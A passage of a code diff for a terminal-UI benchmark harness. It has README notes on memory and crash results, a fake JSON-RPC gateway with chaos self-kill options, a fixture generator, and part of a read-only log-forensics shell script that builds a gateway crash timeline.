shipped image) with the worktree bind-mounted read-only and `--memory=1g
|
||||
--memory-swap=1g`; the whole container (UI + fake gateway + harness) shares the
|
||||
limit. See `run-e3.sh` if present, or the report's survival table for the exact
|
||||
invocation used.
|
||||
|
||||
## What actually ran on 2026-06-11 (E1 host + E3-lite) — deviations from the plan
|
||||
|
||||
- **3 reps** for mem3000 (not 5) and **scroll at 2000 msgs** (not 3000): the
|
||||
OpenTUI engine on this tree (sha 197d499, dist built from 50e3471 tree state)
|
||||
**crashes at ≈3000 fixture msgs** — an uncaught `Error: Failed to create
|
||||
SyntaxStyle` (native handle allocation fails; every `TextBufferRenderable`
|
||||
creates one in @opentui/core 0.4.0), masked by a second
|
||||
`Failed to create optimized buffer` crash inside the renderer's
|
||||
uncaughtException handler. Postmortems are in each result's `pty_tail`;
|
||||
RSS at crash ≈880MB — far below the 2GB cap, so it is a handle/pool limit,
|
||||
not memory. This dominates every OpenTUI cell past ~3000 msgs.
|
||||
- **OpenTUI headless node-count: not run.** `scripts/mem-bench.tsx` under Node
|
||||
FFI dies on the first fixture turn with `ERR_INVALID_ARG_VALUE …
|
||||
textBufferViewSetViewport` (the known Bun→Node u32-coordinate class; the
|
||||
production binary carries the ffiSafe clamp, the headless test renderer path
|
||||
does not) and then hangs. The Ink fd-3 sampler ran fine.
|
||||
- **Startup real-gateway variant: probed, not run as a cell.** A full run would
|
||||
forge real sessions in the user's `~/.hermes` store. Measured standalone:
|
||||
the real `tui_gateway` (venv python) emits `gateway.ready` in **131ms median**
|
||||
(×10, range 130–138ms) — add that to the fake-gateway startup numbers.
|
||||
- **No cgroup OOM kills observed** anywhere (Ink at 10k msgs peaks ~321MB;
|
||||
OpenTUI crashes before reaching the cap), so the cap-hit machinery
|
||||
(memory.events / journal fallback) never fired in anger; E3-lite classified
|
||||
the OpenTUI death correctly as a crash (`oom_kill=0`, exit 7).
|
||||
- E2 (shipped Docker image): not run — image build time prohibitive in this
|
||||
session; E3-lite (generic node:26) covers the constrained-memory question.
|
||||
- Drain-loop starvation: a handful of OpenTUI burst runs recorded 11–18ms max
|
||||
event-loop lag in the harness (>10ms budget, flagged `drain_ok:false` in
|
||||
those results); all paced/scroll/startup runs stayed under 10ms.
|
||||
|
||||
## Accounting + known deviations (by design)
|
||||
|
||||
- **"messages" = fixture rows** (`rowsPerTurn` accounting, identical to
|
||||
`ui-opentui/scripts/mem-bench.tsx`), so numbers are comparable with the
|
||||
pre-registered expectations. ~46% of fixture rows are user/system rows.
|
||||
- **User/system rows are not streamed**: they are composer-local in both UIs
|
||||
(no wire event exists), so PTY runs mount only the assistant/tool rows —
|
||||
the renderable-heavy part that carries the memory claim. Consequence: the
|
||||
OpenTUI store cap (3000 rows) binds at ≈6.6k fixture-msgs in PTY runs.
|
||||
- **Digest gate**: final-screen digest after a resize-forced repaint, ANSI
|
||||
stripped, cut at the composer hint, `up: Ns` normalized (the OpenTUI status
|
||||
bar has a 1Hz uptime clock; the transcript region itself is deterministic).
|
||||
- The headless `scripts/mem-bench.tsx` numbers are diagnostic-only and flagged
|
||||
`instrumented`/`diagnostic_only` — never headlined.
|
||||
|
||||
## Build/run parity vs an installed hermes (audit, 2026-06-11)
|
||||
- Both UIs are built by their own repo build scripts (same artifacts an install produces) and
|
||||
spawned at their real entries: otui `node --experimental-ffi --no-warnings dist/main.js`
|
||||
(identical to production); ink `dist/entry.js` with env mirroring `_launch_tui`
|
||||
(NODE_ENV=production).
|
||||
- Two deviations: (1) ink's spawn adds `--expose-gc` — audited: nothing ever calls gc(), the
|
||||
flag is inert; kept for the instrumented sampler runs, harmless in clean runs. (2) both UIs
|
||||
run on the pinned Node 26.3 per protocol ("never compare across Node majors") — installed ink
|
||||
commonly runs Node 20/22, so ink's ABSOLUTE numbers are "ink on Node 26"; the relative
|
||||
comparison is unaffected. An as-installed-Node ink re-run is a worthwhile extra cell.
|
||||
239
bench/fake-gateway.mjs
Executable file
@@ -0,0 +1,239 @@
|
||||
#!/usr/bin/env node
|
||||
// Fake tui_gateway — substituted via HERMES_PYTHON so BOTH UIs spawn THIS
|
||||
// executable as `$HERMES_PYTHON -m tui_gateway.entry` (argv ignored) and speak
|
||||
// the identical NDJSON JSON-RPC wire over stdio. ZERO changes to either UI.
|
||||
//
|
||||
// Wire contract (mirrors tui_gateway/entry.py + both UI clients):
|
||||
// - unsolicited {jsonrpc:"2.0",method:"event",params:{type:"gateway.ready",payload:{skin:{}}}}
|
||||
// - events: {jsonrpc:"2.0",method:"event",params:{type,payload?}} (no id)
|
||||
// - responses: {jsonrpc:"2.0",id,result} for every request, canned per method.
|
||||
//
|
||||
// NEVER writes to stderr (both UIs surface gateway stderr lines INTO the UI as
|
||||
// activity rows / gateway.stderr events, which would perturb the rendered
|
||||
// transcript). Progress/telemetry goes to HERMES_FAKE_PROGRESS (append-only
|
||||
// NDJSON file the harness tails).
|
||||
//
|
||||
// Env config:
|
||||
// HERMES_FAKE_FIXTURE NDJSON fixture path (from fixture-stream.mjs). Optional.
|
||||
// HERMES_FAKE_MODE burst | paced | load-then-idle (default burst)
|
||||
// HERMES_FAKE_RATE events/sec for paced mode (default 30)
|
||||
// HERMES_FAKE_START_DELAY_MS delay after session.create reply before streaming (default 1500)
|
||||
// HERMES_FAKE_SAMPLE_EVERY fixture-msg boundary cadence for progress lines (default 100)
|
||||
// HERMES_FAKE_PROGRESS progress NDJSON file path (required for harness runs)
|
||||
// HERMES_FAKE_PIDFILE write own pid here at startup (harness discovers the
|
||||
// gateway pid; a REWRITE by a respawned instance is the
|
||||
// harness's auto-heal detection signal)
|
||||
// HERMES_FAKE_DIE_AT "<msgIndex>:<kill|tool-kill>" — chaos cells: self-SIGKILL
|
||||
// at fixture msg N (kill), or at the first tool.* event
|
||||
// after msg N (tool-kill). Self-termination is deterministic
|
||||
// vs racy external timing. SIGSTOP stays external (a stopped
|
||||
// process can't stop itself usefully).
|
||||
// HERMES_FAKE_DIE_FLAG die-once flag file: created just before the self-kill so
|
||||
// the UI's auto-heal RESPAWN (same env) does not die again
|
||||
// HERMES_FAKE_SUBMIT_RESPONSE "1" → answer prompt.submit with a tiny streamed reply
|
||||
// carrying the marker token "zqxjv" (echo-latency cells)
|
||||
//
|
||||
// Modes: burst = write as fast as the pipe accepts (await 'drain' on
|
||||
// backpressure, so emission tracks UI ingestion within the ~64KB pipe buffer);
|
||||
// paced = HERMES_FAKE_RATE events/sec; load-then-idle = burst, then sit idle
|
||||
// (scroll-latency runs drive input afterwards). Exits on stdin EOF (the UIs
|
||||
// close stdin to stop the gateway) — same lifecycle as the real child.
|
||||
|
||||
import { appendFileSync, existsSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { createInterface } from 'node:readline'
|
||||
|
||||
const FIXTURE = process.env.HERMES_FAKE_FIXTURE || ''
|
||||
const MODE = process.env.HERMES_FAKE_MODE || 'burst'
|
||||
const RATE = Math.max(1, Number.parseInt(process.env.HERMES_FAKE_RATE ?? '30', 10) || 30)
|
||||
const START_DELAY_MS = Number.parseInt(process.env.HERMES_FAKE_START_DELAY_MS ?? '1500', 10) || 1500
|
||||
const SAMPLE_EVERY = Math.max(1, Number.parseInt(process.env.HERMES_FAKE_SAMPLE_EVERY ?? '100', 10) || 100)
|
||||
const PROGRESS = process.env.HERMES_FAKE_PROGRESS || ''
|
||||
const PIDFILE = process.env.HERMES_FAKE_PIDFILE || ''
|
||||
const DIE_FLAG = process.env.HERMES_FAKE_DIE_FLAG || ''
|
||||
const SUBMIT_RESPONSE = process.env.HERMES_FAKE_SUBMIT_RESPONSE === '1'
|
||||
|
||||
// Chaos self-termination (deterministic, no external kill races). Die-once:
|
||||
// if the flag file exists a previous instance already died here — this is the
|
||||
// auto-heal respawn, which must stream to completion.
|
||||
let dieAtMsgs = null
|
||||
let dieKind = 'kill'
|
||||
{
|
||||
const m = (process.env.HERMES_FAKE_DIE_AT || '').match(/^(\d+):(kill|tool-kill)$/)
|
||||
if (m) {
|
||||
dieAtMsgs = Number(m[1])
|
||||
dieKind = m[2]
|
||||
}
|
||||
if (dieAtMsgs !== null && DIE_FLAG && existsSync(DIE_FLAG)) dieAtMsgs = null
|
||||
}
|
||||
|
||||
if (PIDFILE) {
|
||||
try {
|
||||
writeFileSync(PIDFILE, String(process.pid))
|
||||
} catch {
|
||||
/* best-effort */
|
||||
}
|
||||
}
|
||||
|
||||
const t0 = Date.now()
|
||||
const progress = obj => {
|
||||
if (!PROGRESS) return
|
||||
try {
|
||||
appendFileSync(PROGRESS, JSON.stringify({ ...obj, t: Date.now() - t0, wall: Date.now() }) + '\n')
|
||||
} catch {
|
||||
/* progress is best-effort; never crash the wire */
|
||||
}
|
||||
}
|
||||
|
||||
// UI gone (pipe closed) → exit quietly like the real child on stdin EOF.
|
||||
process.stdout.on('error', () => process.exit(0))
|
||||
|
||||
const writeFrame = obj => {
|
||||
const ok = process.stdout.write(JSON.stringify(obj) + '\n')
|
||||
return ok ? null : new Promise(r => process.stdout.once('drain', r))
|
||||
}
|
||||
const emitEvent = params => writeFrame({ jsonrpc: '2.0', method: 'event', params })
|
||||
|
||||
// ── Canned RPC results (recon'd from both UIs' startup sequences) ──────
|
||||
const SESSION_ID = 'bench-session-0001'
|
||||
const INFO = {
|
||||
model: 'bench/fake-model',
|
||||
version: '0.0.0-bench',
|
||||
cwd: process.env.HERMES_CWD || process.cwd(),
|
||||
skills: {},
|
||||
tools: { core: ['terminal', 'read_file'] },
|
||||
usage: { calls: 0, input: 0, output: 0, total: 0 }
|
||||
}
|
||||
|
||||
function resultFor(method, params) {
|
||||
switch (method) {
|
||||
case 'setup.status':
|
||||
return { provider_configured: true }
|
||||
case 'session.create':
|
||||
return { session_id: SESSION_ID, info: INFO }
|
||||
case 'session.resume':
|
||||
case 'session.activate':
|
||||
return { session_id: SESSION_ID, messages: [], info: INFO }
|
||||
case 'session.most_recent':
|
||||
return {}
|
||||
case 'session.list':
|
||||
case 'session.active_list':
|
||||
return { sessions: [] }
|
||||
case 'config.get':
|
||||
if (params && params.key === 'mtime') return { mtime: 1 }
|
||||
if (params && params.key === 'full') return { config: { display: {} } }
|
||||
return { value: '' }
|
||||
case 'commands.catalog':
|
||||
return { pairs: [['help', 'show help']], canon: {}, categories: [], sub: {}, skill_count: 0 }
|
||||
case 'startup.catalog':
|
||||
return { tools: {}, skills: {}, mcp_servers: [] }
|
||||
case 'model.options':
|
||||
return { providers: [] }
|
||||
case 'session.title':
|
||||
return { title: 'bench' }
|
||||
case 'prompt.submit':
|
||||
return { ok: true }
|
||||
case 'session.interrupt':
|
||||
return { ok: true }
|
||||
case 'complete.slash':
|
||||
case 'complete.path':
|
||||
return { items: [] }
|
||||
default:
|
||||
return {}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Chaos self-kill ────────────────────────────────────────────────────
|
||||
// Flag first (sync — survives SIGKILL), then a 'dying' progress line (gives
|
||||
// the harness the precise kill wall-clock), then SIGKILL self.
|
||||
function dieNow(msgs) {
|
||||
if (DIE_FLAG) {
|
||||
try {
|
||||
writeFileSync(DIE_FLAG, '1')
|
||||
} catch {
|
||||
/* best-effort */
|
||||
}
|
||||
}
|
||||
progress({ k: 'dying', kind: dieKind, msgs })
|
||||
process.kill(process.pid, 'SIGKILL')
|
||||
}
|
||||
|
||||
// ── Fixture streaming ──────────────────────────────────────────────────
|
||||
let streaming = false
|
||||
async function streamFixture() {
|
||||
if (streaming || !FIXTURE) return
|
||||
streaming = true
|
||||
const lines = readFileSync(FIXTURE, 'utf8').split('\n')
|
||||
let msgs = 0
|
||||
let events = 0
|
||||
let nextBoundary = SAMPLE_EVERY
|
||||
const paced = MODE === 'paced'
|
||||
const interval = paced ? 1000 / RATE : 0
|
||||
let nextAt = Date.now()
|
||||
progress({ k: 'stream_start', mode: MODE })
|
||||
for (const raw of lines) {
|
||||
if (!raw) continue
|
||||
const item = JSON.parse(raw)
|
||||
if (item.k === 'e') {
|
||||
if (paced) {
|
||||
const wait = nextAt - Date.now()
|
||||
if (wait > 0) await new Promise(r => setTimeout(r, wait))
|
||||
nextAt += interval
|
||||
}
|
||||
const drained = emitEvent(item.v)
|
||||
if (drained) await drained
|
||||
events++
|
||||
// tool-kill: die exactly as a tool-call event goes over the wire (the
|
||||
// first tool.* event after the armed msg index — the UI is left with a
|
||||
// started, never-completed tool).
|
||||
if (dieAtMsgs !== null && dieKind === 'tool-kill' && msgs >= dieAtMsgs && typeof item.v?.type === 'string' && item.v.type.startsWith('tool.')) {
|
||||
dieNow(msgs)
|
||||
}
|
||||
} else if (item.k === 't') {
|
||||
msgs = item.msgs
|
||||
if (msgs >= nextBoundary) {
|
||||
progress({ k: 'boundary', msgs, events })
|
||||
while (nextBoundary <= msgs) nextBoundary += SAMPLE_EVERY
|
||||
}
|
||||
if (dieAtMsgs !== null && dieKind === 'kill' && msgs >= dieAtMsgs) dieNow(msgs)
|
||||
}
|
||||
// {"k":"r"} row markers: composer-local rows, nothing on the wire.
|
||||
}
|
||||
progress({ k: 'done', msgs, events })
|
||||
}
|
||||
|
||||
// ── Main: handshake + request loop ─────────────────────────────────────
|
||||
progress({ k: 'start', pid: process.pid, mode: MODE, fixture: FIXTURE })
|
||||
emitEvent({ type: 'gateway.ready', payload: { skin: {} } })
|
||||
|
||||
const rl = createInterface({ input: process.stdin })
|
||||
rl.on('line', line => {
|
||||
let msg
|
||||
try {
|
||||
msg = JSON.parse(line)
|
||||
} catch {
|
||||
return
|
||||
}
|
||||
if (!msg || typeof msg !== 'object' || msg.id === undefined) return
|
||||
const method = String(msg.method ?? '')
|
||||
progress({ k: 'req', method })
|
||||
void writeFrame({ jsonrpc: '2.0', id: msg.id, result: resultFor(method, msg.params) })
|
||||
if (method === 'session.create' || method === 'session.resume') {
|
||||
setTimeout(() => {
|
||||
streamFixture().catch(() => process.exit(1))
|
||||
}, START_DELAY_MS)
|
||||
}
|
||||
// Echo cells: a real (tiny) reply to prompt.submit so input→first-token-paint
|
||||
// is measurable. The marker token "zqxjv" never occurs in the lorem fixture.
|
||||
if (method === 'prompt.submit' && SUBMIT_RESPONSE) {
|
||||
setTimeout(() => {
|
||||
progress({ k: 'submit_response' })
|
||||
void emitEvent({ type: 'message.start' })
|
||||
void emitEvent({ type: 'message.delta', payload: { text: 'Echo probe reply zqxjv — bench token-paint marker.' } })
|
||||
void emitEvent({ type: 'message.complete' })
|
||||
}, 30)
|
||||
}
|
||||
})
|
||||
rl.on('close', () => {
|
||||
progress({ k: 'eof' })
|
||||
process.exit(0)
|
||||
})
|
||||
86
bench/fixture-stream.mjs
Normal file
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env node
|
||||
// Serialize the deterministic lumpy-turn fixture (ui-opentui/scripts/fixture.ts)
|
||||
// to NDJSON for the fake gateway. We check in THIS generator invocation, not the
|
||||
// generated file (it is megabytes); the stream is byte-reproducible for a given
|
||||
// message count because the fixture is seeded by turn index.
|
||||
//
|
||||
// The generator is imported DIRECTLY from ui-opentui/scripts/fixture.ts via
|
||||
// Node >=26 type stripping — no port, no drift. `applyTurn(store, turn)` only
|
||||
// calls store.pushUser/pushSystem/apply, so a recorder stub extracts the exact
|
||||
// per-turn action stream the OpenTUI mem-bench drives.
|
||||
//
|
||||
// Line format (one JSON object per line):
|
||||
// {"k":"e","v":{...GatewayEvent...}} → sent on the wire as
|
||||
// {jsonrpc:"2.0",method:"event",params:v}
|
||||
// {"k":"r","role":"user"|"system"} → row marker, NOT sent (composer-local
|
||||
// rows have no wire representation —
|
||||
// see README "deviation: user rows")
|
||||
// {"k":"t","msgs":N} → end-of-turn marker with the CUMULATIVE
|
||||
// fixture-message count (rowsPerTurn
|
||||
// accounting, same as scripts/mem-bench.tsx)
|
||||
//
|
||||
// Usage: node fixture-stream.mjs --msgs 3000 [--out path]
|
||||
// Default out: bench/.cache/fixture-<msgs>.ndjson (prints path + sha256)
|
||||
|
||||
import { createHash } from 'node:crypto'
|
||||
import { createWriteStream, mkdirSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath, pathToFileURL } from 'node:url'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const fixtureTs = resolve(here, '../ui-opentui/scripts/fixture.ts')
|
||||
|
||||
function parseArgs(argv) {
|
||||
const args = { msgs: 3000, out: null }
|
||||
for (let i = 2; i < argv.length; i++) {
|
||||
if (argv[i] === '--msgs') args.msgs = Number.parseInt(argv[++i], 10)
|
||||
else if (argv[i] === '--out') args.out = argv[++i]
|
||||
}
|
||||
if (!Number.isFinite(args.msgs) || args.msgs <= 0) throw new Error('--msgs must be a positive integer')
|
||||
return args
|
||||
}
|
||||
|
||||
export async function generate(msgs, outPath) {
|
||||
const { applyTurn, rowsPerTurn } = await import(pathToFileURL(fixtureTs).href)
|
||||
mkdirSync(dirname(outPath), { recursive: true })
|
||||
const out = createWriteStream(outPath)
|
||||
const hash = createHash('sha256')
|
||||
const write = line => {
|
||||
const data = line + '\n'
|
||||
hash.update(data)
|
||||
if (!out.write(data)) return new Promise(r => out.once('drain', r))
|
||||
return null
|
||||
}
|
||||
|
||||
let pushed = 0
|
||||
let events = 0
|
||||
let turn = 0
|
||||
while (pushed < msgs) {
|
||||
const lines = []
|
||||
const recorder = {
|
||||
pushUser: () => lines.push('{"k":"r","role":"user"}'),
|
||||
pushSystem: () => lines.push('{"k":"r","role":"system"}'),
|
||||
apply: ev => {
|
||||
lines.push(JSON.stringify({ k: 'e', v: ev }))
|
||||
events++
|
||||
}
|
||||
}
|
||||
applyTurn(recorder, turn)
|
||||
pushed += rowsPerTurn(turn)
|
||||
lines.push(JSON.stringify({ k: 't', msgs: pushed }))
|
||||
for (const line of lines) {
|
||||
const wait = write(line)
|
||||
if (wait) await wait
|
||||
}
|
||||
turn++
|
||||
}
|
||||
await new Promise((res, rej) => out.end(err => (err ? rej(err) : res())))
|
||||
return { path: outPath, msgs: pushed, events, turns: turn, sha256: hash.digest('hex') }
|
||||
}
|
||||
|
||||
if (import.meta.main) {
|
||||
const args = parseArgs(process.argv)
|
||||
const outPath = args.out ?? resolve(here, `.cache/fixture-${args.msgs}.ndjson`)
|
||||
const info = await generate(args.msgs, outPath)
|
||||
process.stdout.write(JSON.stringify(info) + '\n')
|
||||
}
|
||||
371
bench/forensics.sh
Executable file
@@ -0,0 +1,371 @@
|
||||
#!/usr/bin/env bash
|
||||
# forensics.sh — assemble a chronological "what killed my gateway" timeline.
|
||||
#
|
||||
# Usage: bench/forensics.sh <since>
|
||||
# <since> is anything `date -d` accepts: '3 days ago', '2026-06-08', 'yesterday' ...
|
||||
#
|
||||
# Read-only against system state: it greps logs, queries the sessions DB via a
|
||||
# read-only sqlite URI, reads journalctl/dmesg, lists worktrees and running
|
||||
# processes. It never kills, restarts or writes anything outside mktemp.
|
||||
#
|
||||
# Sources merged into one timestamp-sorted timeline (local time, ISO):
|
||||
# [gateway.log] ~/.hermes/logs/gateway.log* gateway lifecycle lines
|
||||
# [errors.log] ~/.hermes/logs/errors.log* ERROR/CRITICAL lines
|
||||
# [exit-diag] ~/.hermes/logs/gateway-exit-diag.log (JSONL, UTC)
|
||||
# [tui-crash] ~/.hermes/logs/tui_gateway_crash.log exit/signal/exception markers
|
||||
# [opentui] ~/.hermes/logs/opentui-v2.log (JSONL, epoch ms)
|
||||
# [shutdown-diag] ~/.hermes/logs/gateway-shutdown-diag.log SIGTERM dump headers
|
||||
# [oom]/[systemd]/[sleep] journalctl --user / -k (dmesg fallback)
|
||||
# [sessions] ~/.hermes/state.db sessions table (tui/cli sources)
|
||||
# [worktree] git worktree lists + dir mtimes under ~/github
|
||||
# [proc] currently running tui_gateway / dist/main.js / dist/entry.js
|
||||
set -uo pipefail
|
||||
|
||||
SINCE_SPEC="${1:-}"
|
||||
if [ -z "$SINCE_SPEC" ]; then
|
||||
echo "usage: $0 <since> (e.g. '3 days ago', '2026-06-08')" >&2
|
||||
exit 2
|
||||
fi
|
||||
SINCE_EPOCH="$(date -d "$SINCE_SPEC" +%s 2>/dev/null)" || {
|
||||
echo "error: date -d could not parse: $SINCE_SPEC" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
PY="$REPO_ROOT/.venv/bin/python"
|
||||
[ -x "$PY" ] || PY="$(command -v python3)"
|
||||
|
||||
TMP="$(mktemp -d /tmp/forensics.XXXXXX)"
|
||||
trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
# ---------------------------------------------------------------- journal ---
|
||||
# User journal: OOM notices, hermes-gateway unit lifecycle, suspend/resume.
|
||||
journalctl --user --since "@$SINCE_EPOCH" -o short-iso-precise --no-pager 2>"$TMP/jr-user.err" \
|
||||
| grep -iE 'oom|out of memory|killed process|hermes-gateway[^ ]*\.service|suspend|hibernat|Scheduled restart' \
|
||||
> "$TMP/journal-user.txt" || true
|
||||
|
||||
# Kernel journal: the authoritative OOM-kill records.
|
||||
if ! journalctl -k --since "@$SINCE_EPOCH" -o short-iso-precise --no-pager 2>"$TMP/jr-kern.err" \
|
||||
| grep -iE 'out of memory|oom-kill|oom_reaper|invoked oom-killer' \
|
||||
> "$TMP/journal-kernel.txt"; then
|
||||
: > "$TMP/journal-kernel.txt"
|
||||
fi
|
||||
if [ -s "$TMP/jr-kern.err" ] && [ ! -s "$TMP/journal-kernel.txt" ]; then
|
||||
echo "note: journalctl -k unavailable ($(head -1 "$TMP/jr-kern.err")); trying dmesg" >&2
|
||||
dmesg -T 2>/dev/null | grep -iE 'out of memory|oom-kill|invoked oom-killer' > "$TMP/dmesg.txt" || true
|
||||
fi
|
||||
[ -e "$TMP/dmesg.txt" ] || : > "$TMP/dmesg.txt"
|
||||
|
||||
# ------------------------------------------------------------- processes ---
|
||||
ps -eo pid,lstart,rss,args --sort=lstart 2>/dev/null \
|
||||
| grep -E 'tui_gateway|dist/main\.js|dist/entry\.js' \
|
||||
| grep -vE 'grep|forensics' > "$TMP/ps.txt" || true
|
||||
|
||||
# -------------------------------------------------------------- worktrees ---
|
||||
{
|
||||
for d in "$HOME"/github/*/; do
|
||||
[ -e "$d/.git" ] || continue
|
||||
echo "## repo $d"
|
||||
timeout 10 git -C "$d" worktree list 2>/dev/null || echo "(git worktree list failed)"
|
||||
done
|
||||
} > "$TMP/worktrees.txt" 2>/dev/null || true
|
||||
|
||||
# ---------------------------------------------------------------- python ---
|
||||
export FORENSICS_SINCE="$SINCE_EPOCH" FORENSICS_TMP="$TMP" FORENSICS_SINCE_SPEC="$SINCE_SPEC"
|
||||
exec "$PY" - <<'PYEOF'
|
||||
import json, os, re, sqlite3, sys, time
|
||||
from datetime import datetime, timezone
|
||||
|
||||
SINCE = float(os.environ["FORENSICS_SINCE"])
|
||||
TMP = os.environ["FORENSICS_TMP"]
|
||||
NOW = time.time()
|
||||
HOME = os.path.expanduser("~")
|
||||
LOGS = os.path.join(HOME, ".hermes", "logs")
|
||||
|
||||
events = [] # (epoch, tag, msg)
|
||||
|
||||
def add(ep, tag, msg):
|
||||
if ep is None or ep < SINCE or ep > NOW + 120:
|
||||
return
|
||||
msg = " ".join(str(msg).split())
|
||||
if msg:
|
||||
events.append((ep, tag, msg[:500]))
|
||||
|
||||
def local_naive(s, fmt):
|
||||
"""Parse a naive local-time string -> epoch."""
|
||||
try:
|
||||
return datetime.strptime(s, fmt).timestamp()
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
def iso_any(s):
|
||||
"""Parse an ISO timestamp (Z / +00:00 / +0530 offsets) -> epoch."""
|
||||
s = s.strip().replace("Z", "+00:00")
|
||||
# journald short-iso uses +0530 (no colon); fromisoformat on 3.11+ copes.
|
||||
try:
|
||||
return datetime.fromisoformat(s).timestamp()
|
||||
except ValueError:
|
||||
m = re.match(r"(.*)([+-]\d{2})(\d{2})$", s)
|
||||
if m:
|
||||
try:
|
||||
return datetime.fromisoformat(f"{m.group(1)}{m.group(2)}:{m.group(3)}").timestamp()
|
||||
except ValueError:
|
||||
return None
|
||||
return None
|
||||
|
||||
def read_lines(path):
|
||||
try:
|
||||
with open(path, errors="replace") as f:
|
||||
return f.readlines()
|
||||
except OSError:
|
||||
return []
|
||||
|
||||
PYLOG = re.compile(r"^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}),\d+\s+(\w+)\s+(.*)$")
|
||||
|
||||
# --- gateway.log* : lifecycle lines -----------------------------------------
|
||||
LIFECYCLE = re.compile(
|
||||
r"Starting Hermes Gateway|Gateway running|Press Ctrl\+C|Shutting down|shutdown"
|
||||
r"|stopp(ed|ing)|Recovered \d+ background|reaped|restart|Cron ticker started",
|
||||
re.I,
|
||||
)
|
||||
for path in sorted(p for p in os.listdir(LOGS) if p.startswith("gateway.log")):
|
||||
for line in read_lines(os.path.join(LOGS, path)):
|
||||
m = PYLOG.match(line)
|
||||
if m and LIFECYCLE.search(m.group(3)):
|
||||
add(local_naive(m.group(1), "%Y-%m-%d %H:%M:%S"), "gateway.log", m.group(3))
|
||||
|
||||
# --- errors.log* : ERROR/CRITICAL header lines ------------------------------
|
||||
for path in sorted(p for p in os.listdir(LOGS) if p.startswith("errors.log")):
|
||||
for line in read_lines(os.path.join(LOGS, path)):
|
||||
m = PYLOG.match(line)
|
||||
if m and m.group(2) in ("ERROR", "CRITICAL"):
|
||||
add(local_naive(m.group(1), "%Y-%m-%d %H:%M:%S"), "errors.log",
|
||||
f"{m.group(2)} {m.group(3)}")
|
||||
|
||||
# --- gateway-exit-diag.log : JSONL, UTC ISO ---------------------------------
|
||||
for line in read_lines(os.path.join(LOGS, "gateway-exit-diag.log")):
|
||||
try:
|
||||
rec = json.loads(line)
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
continue
|
||||
tag = rec.get("tag", "?")
|
||||
extra = ""
|
||||
if tag == "asyncio.run.SystemExit":
|
||||
extra = f" code={rec.get('code')}"
|
||||
elif tag == "gateway.start":
|
||||
extra = f" replace={rec.get('replace')} argv={' '.join(rec.get('argv', [])[-3:])}"
|
||||
elif tag == "asyncio.run.returned":
|
||||
extra = f" success={rec.get('success')}"
|
||||
add(iso_any(rec.get("ts", "")), "exit-diag", f"{tag} pid={rec.get('pid')}{extra}")
|
||||
|
||||
# --- tui_gateway_crash.log : section markers + [tui-parent] lines -----------
|
||||
SECTION = re.compile(r"^=== (.+?) · (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})(?: · (.*?))? ===\s*$")
|
||||
TUIPARENT = re.compile(r"^\[tui-parent\] (\S+Z) (.*)$")
|
||||
for line in read_lines(os.path.join(LOGS, "tui_gateway_crash.log")):
|
||||
m = SECTION.match(line)
|
||||
if m:
|
||||
what, ts, detail = m.group(1), m.group(2), m.group(3) or ""
|
||||
add(local_naive(ts, "%Y-%m-%d %H:%M:%S"), "tui-crash",
|
||||
f"{what}{' · ' + detail if detail else ''}")
|
||||
continue
|
||||
m = TUIPARENT.match(line)
|
||||
if m and ("[lifecycle]" in m.group(2) or "uncaughtException" in m.group(2)):
|
||||
add(iso_any(m.group(1)), "tui-parent", m.group(2))
|
||||
|
||||
# --- opentui-v2.log : JSONL, epoch ms ---------------------------------------
|
||||
for line in read_lines(os.path.join(LOGS, "opentui-v2.log")):
|
||||
try:
|
||||
rec = json.loads(line)
|
||||
except (json.JSONDecodeError, ValueError):
|
||||
continue
|
||||
keep = (rec.get("scope") == "gateway"
|
||||
or rec.get("level") in ("warn", "error")
|
||||
or "transport" in str(rec.get("msg", "")))
|
||||
if keep:
|
||||
data = rec.get("data") or {}
|
||||
brief = {k: v for k, v in data.items() if k in
|
||||
("python", "reason", "code", "signal", "cause", "sid", "attempt")}
|
||||
add(rec.get("t", 0) / 1000.0, "opentui",
|
||||
f"{rec.get('level')} {rec.get('scope')}: {rec.get('msg')} {brief if brief else ''}")
|
||||
|
||||
# --- gateway-shutdown-diag.log : SIGTERM dump headers -----------------------
|
||||
lines = read_lines(os.path.join(LOGS, "gateway-shutdown-diag.log"))
|
||||
for i, line in enumerate(lines):
|
||||
if line.startswith("=== shutdown diagnostic"):
|
||||
for j in range(i, min(i + 4, len(lines))):
|
||||
mm = re.match(r"^(\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z)\s*$", lines[j])
|
||||
if mm:
|
||||
add(iso_any(mm.group(1)), "shutdown-diag",
|
||||
line.strip().strip("= ").strip())
|
||||
break
|
||||
|
||||
# --- journal files ----------------------------------------------------------
|
||||
JLINE = re.compile(r"^(\S+)\s+\S+\s+(.*)$")
|
||||
def journal(path, default_tag):
|
||||
for line in read_lines(path):
|
||||
m = JLINE.match(line)
|
||||
if not m:
|
||||
continue
|
||||
ep, msg = iso_any(m.group(1)), m.group(2)
|
||||
low = msg.lower()
|
||||
if "out of memory" in low or "oom-kill" in low or "oom killer" in low \
|
||||
or "invoked oom-killer" in low or "result 'oom-kill'" in low:
|
||||
tag = "oom"
|
||||
elif "suspend" in low or "hibernat" in low:
|
||||
tag = "sleep"
|
||||
else:
|
||||
tag = default_tag
|
||||
add(ep, tag, msg)
|
||||
|
||||
journal(os.path.join(TMP, "journal-user.txt"), "systemd")
|
||||
journal(os.path.join(TMP, "journal-kernel.txt"), "oom")
|
||||
for line in read_lines(os.path.join(TMP, "dmesg.txt")):
|
||||
m = re.match(r"^\[(\w{3} \w{3} +\d+ \d{2}:\d{2}:\d{2} \d{4})\]\s*(.*)$", line)
|
||||
if m:
|
||||
add(local_naive(re.sub(r" +", " ", m.group(1)), "%a %b %d %H:%M:%S %Y"),
|
||||
"oom", m.group(2))
|
||||
|
||||
